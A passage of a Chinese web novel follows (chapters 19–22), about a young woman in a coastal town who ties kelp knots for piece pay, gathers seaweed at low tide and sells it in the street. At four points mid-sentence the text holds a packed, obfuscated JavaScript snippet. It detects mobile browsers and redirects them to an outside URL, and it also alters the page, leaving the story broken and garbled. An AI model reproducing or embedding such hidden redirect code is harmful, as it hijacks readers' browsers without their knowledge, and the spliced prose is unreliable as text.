“没事哈，娟子，刚刚过完年，厂子不能太忙，下周末估计能休息，到时候我领你去别的厂子看看。”姜美凤倒是没觉得啥，这的活好找的很，现在她们俩纠结的，不过就是想在一起上班而已。 她刚刚在厂长办公室不能说太多。“厂子里的机器跟咱们家里的不一样，是电的。”姜美凤跟韩丽娟解释，为啥不能加一个机器。 “行，你俩快进去吧，到上班点了。”韩丽娟看外面已经没啥人进出，一看表，七点半，到上班时间。 “慧慧，没事，你安心在这待着，在这混熟了，等我来，你好带着我。”韩丽娟安慰孙慧，别把这件事看太重。 从针织厂离开，韩丽娟沿着路往回走，到一个岔道口的时候，停下。 她仔细记了一下路的位置，没拐进回家的那条路，反而选择了另一边。 她可以自己走一走，熟悉熟悉这座城市，顺便找一找活。 沿着公路骑行一会，就到了海边。 海浪翻涌，哗啦啦的来，刷拉拉的走。海面上漂浮着许多小圆球，一片一片的，不知道是干什么用的。 远处，有小船飘在海上，似乎在忙碌些什么。 韩丽娟在海边站了一会，接着往前走。 她看见一户院门前听着一辆三轮车，有人正在从车上往下搬东西，一塑料筐一塑料筐的，看上去是绿色的。 院门开着，里面挺热闹，有人说话，有人大笑。 “刘婶，数都对哈，没啥事我先回厂子了哈。”司机搬完东西，留下一句话，就上车了。 “啊，你慢点儿哈。”这人应该常来，里面的人只是在院里喊了一嗓子，也没出来相送，她们很熟。 看车走了，韩丽娟推着自行车走到刚刚三轮车停靠的位置，朝院子里望去。 大门开着。 正对着大门的正房，房门紧闭。反倒是西边的一间仓房里，有人说话的声音。刚刚搬下来的东西，就堆在这西门口。 韩丽娟闻到一股比海边还浓郁的咸鲜味，略有些熟悉。 “你找谁呀？” 一个头戴花围巾，身穿棉马甲，胳膊上套着套袖，腿上穿着雨靴的妇女，出来搬东西的时候，看见站在门口的韩丽娟。 “婶子，你这里是招人干活吗？”韩丽娟没看出来这些人是干什么的，但感觉应该是在做什么活计。 “谁呀？”房间里的人看这妇女跟外面的人说话，伸个脑袋出来。 “你好，我想问下，这里是做什么的，招人吗？” 韩丽娟重复刚刚的意思。 最先出来那妇女回头跟伸个脑袋出来的女人说。“好像是找活的。” 那伸个头出来的妇女上下打量一下韩丽娟，看她一个小姑娘，不像是坏人。 “进来吧。” 韩丽娟也仔细打量这个院子还有这俩出现的妇女，一看就是在干活状态，刚刚那个送货的也不像是演戏的，不是什么犯罪组织，就推着自行车走进院子。 戴头巾的妇女走过来。“你在哪住？”她问，这个小姑娘看着有些陌生。 “我住这个山后面。”韩丽娟指向某个方向。“租的胡兰英婶子的房子。” 她记得胖婶的名字。 “哦~”妇女一听，认识，回头朝因为来了陌生人，都停下活计，趴在门口看热闹的众人说。“住二胖家房子的。” “婶子们好。”韩丽娟看着这五六个人，毫不打怵，面带微笑，问好。 “好好好，快进来吧。”有了共同认识的人，就不算陌生人。 韩丽娟进来仔细观察这间屋子，地面上用宽木板摆了排一米宽，半米左右高度的长台。几名妇女松松散散的坐在长台两侧，每人面前都放着一个一掌高的倒T型木柱，上面斜插着一把刀片。 台面上，每个人的身边，都堆放着一些被切割成条状的海菜。 离得近了，韩丽娟也看清塑料筐里装的是什么了。是海带，程老师给她家邮寄过，只不过程老师邮寄的是干的，这里的都比较湿润，所以味道更加浓郁。 这里应该是加工一些海带制品。 韩丽娟看到离着最近的一个妇女的凳子前，摆放着一个盆，盆里是一个个带着小尾巴的海带疙瘩。 韩丽娟报了姓名，几个婶子也互相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064619|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍一番。 刚刚那个带头巾的姓郑，后来伸头出来的姓刘，是这个房子的女主人。 房间里五六个人，除了一个看上去略微年轻些，其余看着都五六十岁的样子。 韩丽娟说了下自己现在的情况。 “这不正好吗。”那个郑大娘听完，说。“你要是找正经活，我不建议你在这干，年轻小丫蛋干点啥都比这个强。但你要是想干一段时间零工，来我们这整好。” “真的呀。”韩丽娟喜出望外。声音都带着笑意“我就想着找个这样的活，结果遇见了婶子们，婶子们还让我进来了，婶子们真是好人，是我的贵人呀。” “哎呀，这小姑娘这话，讲的爱人听。我跟你讲，咱们这就是自由，上手也快，还不压资，半个月结一次钱。”刘婶子等人也被韩丽娟夸得心花怒放。 韩丽娟也是越听越开心，虽然刘婶子后来又说，赚的没有针织厂多，就是个零花钱，但韩丽娟不在乎，总比待着一天没收入的强。 闲聊几句，众人就开始忙碌。刘大婶跟郑大娘就教韩丽娟这活怎么干。“咱们这的活，是系海带扣，别看这玩意不起眼，出口的呢……” 这活说简单不难，说难不简单，就是将切割好的海带条，系成一个个四厘米长短，对称的蝴蝶结。 韩丽娟很快上手，这个海带结，一斤一毛一，说是手快的一天能系三十斤左右。她是新手，没那么快，但一天也能十多斤，将近二十斤，能赚两块钱。 挺好，韩丽娟心想，晚上回去问问美凤姨，如果再远一点有好的针织厂，她去看看，如果附近没有，那他就在这干一个月，也能干六七十。 一晃，时间到了中午，这些妇女家都是附近的，都要回家做饭，吃饭。 走之前，把自己的活上称，交给刘婶。 毕竟是湿海带，有水分，现在不称，晚些水分蒸发，就会掉秤。 韩丽娟来的晚，一开始不熟练，总要一个个的比量准确才敢下刀，一上午干了三斤多一点。 “下午我不过来了哈，俺闺女明儿回来，我去赶海，弄点海菜，给她包点包子歹。”称完重量，记上账之后，郑大娘跟刘婶打声招呼，就准备离开。 “可真的，喃闺女十五怎么没回来？”有人问。 “哎妈呀，别讲啦，去她老婆婆家啦。”郑大娘语气略带嫌弃，应该是跟亲家关系不咋滴。 大娘大婶们开始讨论婆家娘家，闺女儿子，但韩丽娟只听到俩字： 赶海！ 赶海？韩丽娟回想，昨晚吃饭的时候，她听姜美凤说过一嘴，这边的赶海类似于他们他们那边林区的采山货。但具体赶海咋赶，能赶啥，姜美凤不知道，她没赶过，就听说有人赶海卖钱。 韩丽娟听的还挺好奇，想要找机会见识见识呢。 她没想到，这么快，竟在这遇上。 “郑大娘，下午赶海能带我一个吗？我想跟着去长长见识。” 出了刘家大门，韩丽娟追上郑大娘。 20. 第 20 章 韩丽娟知道自己有些冒然，毕竟不熟。但没想到，郑大娘很爽快的点头。“行啊，整好作伴儿了，你一个点以后来这，时间够用哈？晚了就不赶趟了。” “够用，够用。”韩丽娟猛猛点头。跟郑大娘道别后，赶紧骑车回家。 到家后，烧把火，把自己早晨带的饭盒热一下，天还凉，她不敢吃凉饭，怕胃疼肚子疼，更耽误事。 然后，给孙慧留个字条，说自己去赶海，回来后她如果还没回来就自己先吃饭，不用等她。 她也不知道去的地方多远，啥时候回来，怕孙慧姜美凤回来没见到她着急，留个字条很有必要。 然后看灶台门口没有余火，又出门去了胖婶家。 赶海应该需要带工具的，她没有，而且不知道要准备啥，去找个当地人借，总归不会出错。 胖婶正在做饭，听了韩丽娟的来意，很快给她拎来一个土篮子，一个手持小搂耙，还有一个铲子，一副橡胶皮手套。“我家没有适合你穿的水鞋，你要去赶海，最好换双鞋，棉鞋容易湿。”胖婶知道韩丽娟没赶过海，提醒道。“现在天还冷，你一个小姑娘，可不能凉到啦。” “好，东西真齐全，我就知道问胖婶准没错，谢谢胖婶关心。”韩丽娟满口应道。 她没有水鞋，现在也来不及准备，她就准备穿着棉鞋去，但这些没必要跟胖婶多说。 韩丽娟急着走，也没跟胖婶多聊。回家飞速的吃过饭，把土篮子系在车后座上，先去趟供销社。 她准备买几块槽子糕，郑大娘带她赶海，她给带点吃的。看着售货员给她装糕的袋子，灵机一动。“同志，能多给我两个塑料袋不，我们是几个人分着买的。” 她准备一会把脚用塑料袋套上，这样就不怕袜子湿，今天主要是去看看情况，如果赶海真的能赚钱，她再买水鞋。 售货员看了她一眼，没吱声，拽了几个塑料袋给她。 她谢过售货员，往外走的时候，听到一个老太太也跟售货员说“也多给我两个塑料袋。” “没有！”售货员很果断的拒绝。 “那刚刚那人要怎么有？”老太太不服气，扯嗓子就要吵一架。 “人家是好几个人买的，你一个人要那么多塑料袋干啥，再说，你打瓶酱油要什么塑料袋，没有！” “哪呢，好几个人，在哪呢？”老太太问，她怎么没看见好几个人。 走到门口的韩丽娟一听，赶紧加快脚步，出门蹬车，撒丫子撩！ 她比郑大娘约定的时间早到那么三五分，等了一会，郑大娘也推着自行车出来。 俩人沿着公路骑了挺久，最后停下来，又沿着土石路走了一会。“到了。”郑大娘说。 这边的海比早晨看到的那片海要“野。”周围没啥人家，海岸边礁石林立。不像早晨韩丽娟在马路边看到的那个，海边没几块大石头，都是沙子。 潮水正在慢慢退去，裸露的礁石上紫绿一片。礁石上已经有人在忙碌。 将自行车停靠在显眼的位置，俩人也下去。 韩丽娟第一次赶海，看见什么都好奇，她路过其他赶海的人，好奇的朝人家的筐里看过去。 这个季节，大家的筐里都是那个紫红色夹杂着一些绿色的菜。 “喏，这就是紫菜。属于冬春季节特有的海产，这的人都喜欢歹，包包子做汤，血鲜溜。”郑大娘指点韩丽娟，赶海赶点啥。“这是绿菜，包包子你得放点紫的，放点绿的，才是那个味。” “歹”应该是吃的意思吧，韩丽娟不是第一次听到这些大婶大娘们说“歹”了，结合语境，她猜应该是吃。刚刚郑大娘的意思应该是这玩意好吃，受欢迎。 这菜倒是好认，名字也通俗易懂。韩丽娟捡起一颗紫菜，滑溜溜的，很薄，甚至略带透明。塞到嘴里一小块。“呸呸呸。”又咸又涩的，但细品，确实有一股子鲜味，仿佛打开人的食欲那种味道。 “哈哈哈，这得回家收拾，海水又苦又涩的，还咸。咱俩赶快先赶海吧。”郑大娘看着逐渐远去的海岸线，跟韩丽娟说。“别往太深的地方走，看涨潮赶紧赶回来，千万别被水隔住。” 韩丽娟点头，她没穿水鞋，不会往里走。她挑中一块没人的礁石，也学人蹲在礁石上，仔细挑拣，起初，还很慢，带着手套，不怎么会捡，但不一会就熟练起来，很快，筐底就铺满了。 累了，韩丽娟就站起身活动活动筋骨，她看见不远处有一个妇女，便走过去，看了看对方的筐“没少赶呀，现在紫菜多少钱一斤？”韩丽娟装作很随意的聊天。 她看到这个妇女带了两个筐，不可能是自己吃。 “五六毛、七八毛都可能。”妇女连头都没抬，每天来赶海，都有人问，她习惯了。 韩丽娟听罢，心里默默计算，那一天如果能赶二十斤，保守十块钱啊。 “那还挺好。”她没在多问就走开了，人家也是卖钱的，问太多别人也不一定愿意告诉。 “郑大娘，海菜包子怎么做啊？”中间休息，俩人吃着槽子糕，啃着苹果，韩丽娟问道。 苹果是郑大娘带的，自家的果树。 “海菜包子不能只放海菜，你得放点白菜还有肉，拌馅儿千万别放酱油，不好歹。家里要有海蛎子啥的，放点也行，没有就不放。”郑大娘把自己的做包子经验分享给韩丽娟。 “你今晚回家先少包一点尝尝，外地来的，有人吃不惯这味儿。” 郑大娘提醒韩丽娟。 四点来钟，俩人就往回走了，其实还可以赶一会，但俩人的筐都满了。尤其是韩丽娟的，她都使劲压过了，不能再装了，筐一拎起来，都压胳膊，怕把筐把拎坏，她是托着筐底，半拎半抱的走到车旁的。 返程，跟郑大娘分开后，韩丽娟想了想，没有回家，而是往县中心的方向骑去。 她本来想今天看看海菜啥样，明天正式赶海卖钱，但没想到第一天就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068466|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收获，择日不如撞日，今儿就去。 她也不认识什么地方，就去过一次商业街，韩丽娟就准备去那碰碰运气。 韩丽娟听姜美凤说过，平时商业街两侧是不让摆摊的，那天十五的摊位，是人家商场的货摆出来卖，避免商场人流过多，挤不进去。所以，韩丽娟没进到商业街里面，而是在外围找个路口，将自行车停在那。 已经五点左右，人流变得稀少，不像白天，来来往往的都是人。 她准备的也不充分，没有称，只有两个塑料袋，还是供销社的售货员给她的。 她赶海的时候没有往太里边走，小心谨慎，没用塑料袋，就省下了。 韩丽娟观察一下四周，发现其实也有其他卖货的。离她不愿，就有一个妇女，带着头巾，自行车后座上绑着一桶苹果，也在那眼观六路耳听八方。 “大姐，你那个塑料袋哪儿买的？”韩丽娟看到她的车筐里有塑料袋跟称。 “四百一楼百货那就有，但你现在去，到那，人家都要下班了。”那个大姐，扫了韩丽娟车子一眼，看见她车后座的海菜。“卖海菜的？” “啊，赶海赶多了，自己吃不了，寻思来这卖点看看。” 那卖苹果的妇女低头，打开自己胸前的包，从里面拿出一捆没用过的塑料袋。“我这有，三毛钱一包，你要不，商店卖五毛钱两包，我不算赚你钱。” “要。”韩丽娟爽快掏钱，人家愿意卖给她都是好心。“大姐你称借我用一下呗。”一事不烦二主。 大姐从车筐拿起称，递给韩丽娟。伸手扒拉一圈韩丽娟的海菜。“还挺干。”这个卖菜的是个新手，妇女想，卖海货，卖的都是水啊。 “大姐你买点尝尝？”韩丽娟问。 妇女摇摇头。开春的苹果有些皱吧，卖不上价，今天买卖不好，她才不要花钱。 韩丽娟也没在意能不能做成这笔生意，她在心里算账，按照七毛一斤算，一斤半，就是一元零五分。 没有称，也没带多少零钱在身上，韩丽娟准备按份卖，趁现在能借到称，把菜称好，装进塑料袋。 她收过货，用称很熟练，很快，分好5份。筐里还剩些，她没接着装，如果自己定价高了，还要往各个袋里匀一点，剩下了就自己留着吃。 “买苹果啊，自己家的苹果，便宜，还是脆的，买点不？”有人过来，卖苹果的大姐招揽生意。 “新鲜海菜看看吗，一块钱一份，一份够全家人歹，刚从海里赶出来的。”韩丽娟操控着一口标准的东北滨海话，就像一个播音员字正腔圆的中式英文播报，成功吸引了路人的注意。 “呵，你这海菜怎么卖的？”那人停下脚步，问。 “一块钱一份，一份一斤半。”韩丽娟一边说着，一边打开一个塑料袋，将菜摊开来。 天已经有些暗了，韩丽娟将紫菜举得高一点，方便人看。 “有点贵。”问价的人有些嫌贵。 21. 第 21 章 “不贵！”韩丽娟当然不能让人觉得她卖的东西贵。 谁不喜欢物美价廉。 “你看看我这个菜，多干，别人一斤菜半斤水，我这菜一斤就是一斤。”毕竟也是做过买卖的人，韩丽娟能从刚刚卖苹果大姐的只言片语中，抓住重点。 别人的菜应该没她这么干。她见到海边那个妇女车筐里有罐头瓶子，甚至还看见有人是用桶去捡菜的，那菜一定是含水的。 她这筐菜，没主动添加一点水，她这篮子刚刚从海里出来的时候还滴答水，现在哪有水了，都不滴答了。 “你摸摸，没事，你摸摸。”韩丽娟又把菜往前举了举，让想买菜的人上手摸摸菜。好不好，自己一摸就知道。 那人上手摸了摸，确实挺干。海菜这玩意，最近他遇到的卖几毛钱的都有，便宜贵了得靠碰。想歹，贵一两毛也认，不想歹，再便宜也不想买。 明天休息，买一份，包点海菜包子？ 这人有些纠结。 卖货的人喜欢聚堆，因为能吸引来更多的客人。买货的人也喜欢聚堆，看见有人在哪个摊位上停，就想过去看看卖的啥好玩意。 因为这个人停留在这里，又有人凑了过来。 “海菜怎么卖？”这人倒是自来熟，一边问，一边已经伸手开始扒拉，看看这菜的成色怎么样。 “一块钱一份，这菜特别干，没啥水。”韩丽娟又打开一袋。“每袋都一样，不掺假。” “卖什么的？” “卖海菜的？” “怎么卖的？” 没人的时候，是真没人，来人了，就一群。这边，韩丽娟还再跟第二位客人说话，一窝蜂就来了几个人。 “给你一块钱。”最先想买菜的人，看见来人变多，也不纠结了。拿出一块钱，拎起刚刚他摸的那份菜，就要走。 “我再给你套个袋。”韩丽娟出声叫住对方，拿出一个塑料袋，递给对方，这塑料袋不是很结实。 送走这位顾客，韩丽娟对前面几个人说。“看看我这菜，新鲜，干净还不往里掺水，每袋都这样。”边说，边打开剩下的几个袋子。“就剩四份啦，谁还要抓紧？” 刚刚为了在筐里装着方便，她都将袋口系上了。 一旁卖苹果的大姐，看到这一幕，忍不住嘀咕，还寻思是个挺实诚的小姑娘呢，谁知道花花心眼不少，什么叫“就剩四份”了，你总共五袋，才卖出去一袋呀。怎么就“就剩”了呢。 “卖苹果啊，再不买就得等秋天才能吃上了。”心里翻白眼，卖苹果的大姐嘴倒是很诚实，她也不是笨人，反应很快，学着韩丽娟的思路叫卖。 别说，还真吸引人过来了。 这小姑娘，有点东西。 这边韩丽娟很快就把五份菜卖出去，五块钱到手！ 姜美凤一个熟练工，在针织厂一个月也才150左右，平均一天5块钱，而她，其实也就是忙碌了半天，最累的就是赶海那段时间，也赚了5块钱。 这个活，能干！ 今天太晚，商场也都关门，关键是韩丽娟身上没带够钱，买不了雨鞋跟称。也怕姜美凤她们在家担心，卖了菜，韩丽娟急匆匆的往家走。 临走前，韩丽娟没忘记再次感谢卖苹果大姐，给她塑料袋，还借称。关键是没她提醒，她还真不知道自己海菜的优点，不能精准抓住重点，快速的卖掉手里的菜。 卖苹果大姐正忙着给人挑苹果，点点头就接着忙起来。“艾玛，这不算皱吧，你在过两天，这样的都没有了，开春了苹果就搁不住，我也就剩这些啦。”卖苹果大姐仿佛打开任督二脉。 到家，天已经黑了。 “娟子，你回来啦！”孙慧有一肚子话跟韩丽娟说，毕竟第一天上班，看什么都是新鲜的，却不料韩丽娟更绝，竟然敢一个人去赶海。 姜美凤正在做饭，也赶紧过来。“你胆儿可真大，就认识一天的人就敢跟人家走！” 她有些后怕，这要出事，咋办。 “我都仔细观察过了，美凤姨，你就放心吧……”韩丽娟赶紧安抚住姜美凤。 很是费了一番口舌，才让姜美凤放心。 晚上，吃过晚饭，收拾过后，韩丽娟趴在被窝里，拿着笔抄写未来一个月的潮汐，潮汐信息阳黄历上有。 千合计，万计划，她跟孙慧都忘记阳黄历这回事，如今他们屋里，只贴一张财神挂历，上面除了日月周，没有其他信息。 她现在这本是从姜美凤家借来的，抄完要还回去。 “娟，你还记得咱们在火车上遇到的那一大家子，就是那个女的也在辰兴针织厂上班，带了一家子过来那个。”一旁，孙慧还在跟她分享今天的见闻。 “记得，怎么了，她妹妹也去辰兴了？”韩丽娟一边抄写，一边回应。 “对！”孙慧本来躺下了，说到这忽然坐起来。“哎，咱们今天要是再早点就好了，你也能进来。”她有些可惜。 “这也没事。”韩丽娟不在意。“你今天怎么样，有没有受欺负？” “谁能欺负我呀，我这脾气可不是好惹的。”孙慧摇头。“话说回来……”孙慧顿了顿，接着说道“本来呢，对这里挺失望的，以为会住在繁华的市中心，谁知道……房子虽然比咱们县里好一些，但比我想象中……还差一点。但今天上班，听这些人聊天还挺有意思，总归上班没让我失望。” “那就好。”韩丽娟看着孙慧总算开心，自己心里也松了口气。 “慧慧，能跟你商量个事吗？”抄完潮汐时间，韩丽娟看着这个表琢磨一会儿，跟孙慧说。 “你说啥事？”孙慧问。 “我想拿点那个系海带结的零活回来，可以吗？就放在厨房，一次也不多拿，不太占地方。” 韩丽娟发现，每次涨落潮之间间隔十二个小时多一点。最近她能赶上的是下午潮，那像明天上午的时间，就完全是空闲的。就算以后要卖菜，她也会有闲暇时间，她想把这个时间利用起来。 今天郑大娘他们说过，这个活可以拿回家干。 “可以呀。”孙慧没有任何的反对意见。“但是娟子，你好努力啊，你这么努力赚钱是为啥啊？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073921|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不是很懂，钱赚的够花不就好了。 “可能是想给我们慧慧买窗帘吧。”韩丽娟笑嘻嘻的说。 “哈哈哈，我就知道，你最好，那你拿回来后我帮你系。”孙慧被逗得咯咯笑。 “不要你帮我，如果你系，我给你记账到时候给你算钱。”涉及到钱，韩丽娟又恢复一板一眼。 “哎！”孙慧叹气，她就知道，这个财迷，一说起账务就要清清楚楚。 …… 第二日一早，韩丽娟将胖婶家的篮子刷洗干净，晾干后，带上胖婶借给她的东西拎着她给胖婶留的海菜，去了胖婶家。 “胖婶，我来还东西，昨晚回来的太晚，就没好意思过来。”韩丽娟解释为啥昨天没来还。 “不着急，你先用着都行。”胖婶笑呵呵的结果自家的东西，一打眼，就发现这个篮子被刷的很干净，是个懂事的小姑娘，胖婶满意。 “哎呀，你看看你，这怎么还给我带点海菜，你这小姑娘呀，自己在外面，赶点菜多不容易……”再一看，篮子里还有一包海菜，胖婶的心就更熨贴。 “昨天赶的多，自己家也吃不了。”韩丽娟倒没说太多。 “你等我一下。”胖婶拎着篮子回去，不一会，用塑料袋拎着一袋苹果出来。“这都是自己家的，放了一冬，虽然看上去丑点但是都没坏，能吃，别嫌弃哈。” “春天的苹果，花钱都不一定买的到，我嫌弃啥，谢谢胖婶。”韩丽娟哪里懂苹果这些，不过是把昨天卖苹果大姐的话借过来用一用。 但她不嫌弃是真的。 “不嫌弃就好，邻里邻居住着，以后有懂的你就来问胖婶哈。”胖婶现在很喜欢韩丽娟，这小姑娘又会说话又会办事的。 从胖婶家离开，又拿了一个空大米袋，骑车去刘婶那取海带，顺便跟郑大娘打个招呼，说她要去赶海，所以拿点活回家干。 取了二十斤的海带，回来路过供销社，买了称，雨靴，一个土篮子，两幅胶皮手套，一个小搂耙。 花出去四十多块钱。 到家后，按照计划系海带结，等吃过午饭，休息了一会，就骑车去了海边，开始她的赶海大计。 海边仍然有人已经到了，她不是最早的。可以理解，她住的地方离这里比较远一点。 昨天那个妇女也在，看见韩丽娟有些意外。这次，没有郑大娘急着回去，韩丽娟一直赶到涨潮，大家都准备离去，她才跟着众人，一起离开。 第二天，吃过早饭，又系了一会海带结，韩丽娟骑着自行车，前往县中心。 今天，她带的海菜可多，她要大展拳脚，尽快将昨天花出去的钱赚回来！ 到了商业街，她又将车停在之前的地方，并注意观察人流走向，看看哪个方位人流多。 “你好，这里不能摆摊哈。”突然，两个人出现在韩丽娟面前，看穿着，应该是这的工作人员。 ？？？ 不在商业街里也被管，韩丽娟愣住，那她今天不能在这卖货了！ “你好，这里不能摆摊。”工作人员又重复一遍。 22. 第 22 章 “哦哦哦，好的。”韩丽娟反应过来。她推动自行车，走到马路对面。 失策，原来白天有人看着呀。 到对面她观察那俩工作人员，那俩工作人员也在观察她，还朝她摆摆手，意思是她现在待的这里也不可以。 再往远走，人群就散开，在这待着的意义就不大。 韩丽娟抬头，辨认一下方向，看了看建筑，朝着居民区比较多的方向，走去。 她原本想着，自己运气实在不错，一点周折没有，就找到一个卖货的好地方，没想到，第二天就给她当头一棒。 不过没关系，走街串巷她也是擅长的。 只不过以前走的是村里，现在走的是城里。 “卖海菜来~~~！”走到居民区，韩丽娟按响车铃铛，嘹亮的叫卖声紧跟着就传出去。 她也不骑着走，选定一片的中心位置，就把车停在那，隔一两分钟喊一嗓子。 “海菜怎么卖的？” 不一会，就有一个老太太出来打听。 “七毛一斤。”韩丽娟还是昨天的价格。 老太太没吱声，而是过来，一脸严肃拿起海菜仔细观察。“便宜点不行吗？”看了半天，她才问。 “大娘，你买多少？你要是多买，我就给你便宜点。”韩丽娟很是干脆的说道。 “买多少能给我便宜？”老太太问。 “你要是能买两斤，我就给你按6毛5分钱一斤算，你要是能买四斤啊，我就给你算6毛一斤。” 今天韩丽娟可是准备了20多斤的海菜，这些海菜是昨天下午采的，她要在今天中午前卖光，下午再去海边赶海。 她需要大客户，一次多买那种。 听完韩丽娟的话，老太太寻思一下，跟韩丽娟说“你等我会，我回家拿盆。” “行，大娘，不急，我还得在这卖一会呢！” 大娘走后，韩丽娟又喊了两嗓子，没啥人出来，一份也没卖出去，韩丽娟仔细观察了一下，这片挺安静，应该双职工家庭多，这个点家里没啥人。 能过了七八分钟，就在韩丽娟以为大娘骗她不来的时候，大娘空个手回来了。 “给我称四斤。”大娘完全忽略盆这件事，直接就让韩丽娟称菜。 韩丽娟拿出秤，准备称的时候，大娘又说话了。“我要分两顿吃，你称的时候就给我分好，一份两斤。” 韩丽娟忍住笑，她一听大概就明白咋回事，是跟人搭伙买的。“行，大娘，这两袋我都给你高高的秤。” 韩丽娟一边给称海菜，一边跟大娘闲聊。“大娘，你们平时买菜都去哪儿呀？” “去菜市场或者早市儿呗。有时候也有你们这种小商小贩过来卖点菜啊水果啊鱼啊的。” 因为韩丽娟一句“秤给的高点”，让大娘严肃的脸上有了笑容，也愿意跟韩丽娟多说两句。 称好海菜，接过钱，韩丽娟告别大娘，朝着大娘刚刚告诉她的菜市场方向走去。 这里路人又变得多了起来，远远地闻到烟火味，闻着像是炸油条的香味。 应该快到菜市场了。果真，走到路口，就见马路对面的“红星菜场”，菜场左右都有空地，应该就是大娘说的早市的位置，但是现在早市没几个摊位，也没有管理人员。 韩丽娟过去，随便找个位置，停下车。将袋子里的海菜倒出一些到篮子里，将篮子杵着墙斜放着，自己站在一边，等着顾客。 旁边是一个卖鸡蛋的大婶。再远一点，有一个卖苹果的，一个卖白菜的。 他们的位置离着菜场的一个出入口挺近。 人流不少，但很多人在菜市场已经买完菜出来。就算看见海菜，也不想买了，对叫卖声也不敏感。 就算有人停下来，也是说要进菜市场转一圈，很多人在市场里转悠转悠，就被别人忽悠，把韩丽娟跟海菜忘到脑后去了。半个多小时，韩丽娟才卖出去三份，5斤菜。 “大娘，买多少？”又一个大娘蹲在韩丽娟筐前，韩丽娟拎着秤过去问。 “菜挺好，等我先去市场转一圈，出来再说。”大娘问过价，留下这么句话就走了。 已经数不清第几个了这么说的。 她不能这么等，她今天的菜带的多，出来的晚，本来想着商场开门以后才有客流，就没着急出发，谁想到出了纰漏。她一会还要去赶海，没时间在这磨蹭。 怎么能快点卖呢？韩丽娟思索着。降价是一个选择，但降得少了，买菜的不觉得占便宜，降得多了，韩丽娟舍不得。 她漫无目的的张望，一不小心，目光跟卖白菜的大爷对上，有了！ 韩丽娟走到卖白菜大爷的摊位前，大爷骑个倒骑驴，白菜都摆在车斗里，一个个的整整齐齐。 “大爷，你这白菜怎么卖的？” “5分钱一斤。”大爷伸出手掌，比量个五。 春天的大白菜，跟苹果一样，外表都干干巴巴的，就算是掰掉外面一层，春风一吹，不出两天，又干吧一层。韩丽娟看大爷的白菜都挺匀称，拿起一个掂量一下，也就两斤左右，一颗合计一毛左右。 “大爷，我是卖海菜的，咱俩合作呀，我卖两斤海菜，送别人一棵白菜，就送你家的，你能按四分一斤给我算吗？” 韩丽娟想，7毛一斤的海菜，降价6毛5分钱，别人觉不出啥，但是，买海菜给一颗白菜，就不用再额外买白菜，那感觉又是另一回事，花一份儿钱，买两样菜。 “一毛一颗吧。”大爷跟韩丽娟商量，他的大白菜自己家种的，都不太大，两斤左右，大也大不过两斤半。“一毛一颗，省事，也不用我称来称去，顾客挑了就走，咱俩也好算账。”大爷的脑子转的也不慢。 “行！”韩丽娟点头答应。这种免费送的，大家都挑大的，其实大爷还是给她便宜了。 “海菜，卖海菜，两斤海菜送一颗白菜，白菜自己挑~~~数量有限，卖完为止！”跟大爷说定后，韩丽娟开始喊。 果真，买海菜送白菜这个广告一打出去，就吸引人过来。毕竟白菜海菜是包包子的最佳伴侣。 甚至有人都不仔细看韩丽娟的海菜，让韩丽娟称菜的时候，就在大爷的车上翻白菜，那架势，势必要挑出整辆车上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078639|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最大的那颗。 “哎妈呀，这颗好，我就要这颗啦，海菜称好啦？”一个老太太挑到最满意的白菜后，问韩丽娟。 “好了，一共一块四。”韩丽娟将海菜递给老太太，又拿出一个塑料袋，将白菜装上。“大娘，拿好。” 大娘掏出1块4。“钱都给你呗？”将钱给韩丽娟。“剩下我不用管哈，拿着菜就能走？” 老太太还有些将信将疑。 “对。”韩丽娟的点头。“可以走了。” 旁边看热闹的一看，真的买海菜给一颗白菜，本来不想包包子的也想，买点吧，吃啥不是吃呢，包包子省事。 至于菜市场，买完了再去逛呗。没看这海菜都剩的不多了，一旦买完出来，海菜卖没了，岂不是得不到免费白菜了！ 赶紧买海菜。 很快，韩丽娟的海菜就卖完了。 